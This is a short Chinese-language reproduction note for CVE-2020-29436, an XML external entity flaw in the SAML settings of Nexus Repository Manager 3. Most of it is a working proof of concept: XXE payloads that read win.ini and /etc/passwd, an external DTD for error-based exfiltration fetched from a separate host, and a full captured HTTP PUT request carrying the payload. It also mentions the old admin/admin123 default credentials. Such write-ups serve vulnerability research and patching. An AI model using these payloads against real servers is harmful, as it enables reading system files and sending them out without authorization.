Nexus Repository Manager 3 XML外部实体注入(CVE-2020-29436)¶
在 Nexus Repository Manager 3中存在XML外部实体注入( XXE )漏洞。该漏洞使具有NXRM中管理帐户的攻击者能够以一种方式配置系统,使他们可以查看文件系统上的文件,并与NXRM可以访问的任何后端或外部系统进行交互。攻击者必须在Repository Manager实例中具有管理级别的用户帐户才能以这种方式配置系统。
Nexus Repository Manager3在较高的版本中也会强制更改以前较低版本使用的默认密码admin/admin123。
漏洞复现
来到后台Saml的功能点:
看到这个大大的XML输入框就知道大概率是有XML操作的。
简单测试下能不能进行dtd请求,如果能的话很可能读取文件也可以:
点击保存就能看到进行了请求。测试了下读文件,可以利用ftp、http等协议带出单行文件,看了下jdk版本在windows是使用的自带的8u252,@r00t4dm在mac上的安装包不会自带jdk,使用的是系统的,那么linux下也是系统的,所以试用的是较低版本的jdk,是可以带换行的。后面看了下返回包,居然把异常返回到了json,那么我们可以通过报错xml将任何文本字符带出了,包括\n、#、<等文本字符。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
%dtd;
%send;
]>
<ANY>xxe</ANY>
dtd:
<!ENTITY % all
"<!ENTITY % send SYSTEM '%file;'>"
>
%all;
漏洞分析:https://paper.seebug.org/1431/ 来源:https://paper.seebug.org/1431/
ref: https://s.tencent.com/research/bsafe/1201.html
PUT /service/rest/internal/ui/saml?_dc=1608107853558 HTTP/1.1
Host: r00t4dm.com:8081
Content-Length: 536
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.03162010377420388
Content-Type: application/json;charset=UTF-8
Origin: http://r00t4dm.com:8081
Referer: http://r00t4dm.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.2078132679.1597230524; _rdt_uuid=1597230524157.df69997b-229f-41bf-9635-03b3f3f20329; context-profile-id=91ee4f3c-de97-4fa0-a514-22cd16f961ec; NX-ANTI-CSRF-TOKEN=0.03162010377420388; NXSESSIONID=971afe8d-2236-4629-a25d-44da86726602
Connection: close
{"idpMetadata":"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<!DOCTYPE ANY [\n <!ENTITY % file SYSTEM \"file:///etc/passwd\">\n <!ENTITY % dtd SYSTEM \"http://10.211.55.2:8000/filen.dtd\">\n %dtd;\n %send;\n ]>\n<ANY>xxe</ANY>","entityIdUri":"http://r00t4dm.com:8081/service/rest/v1/security/saml/metadata}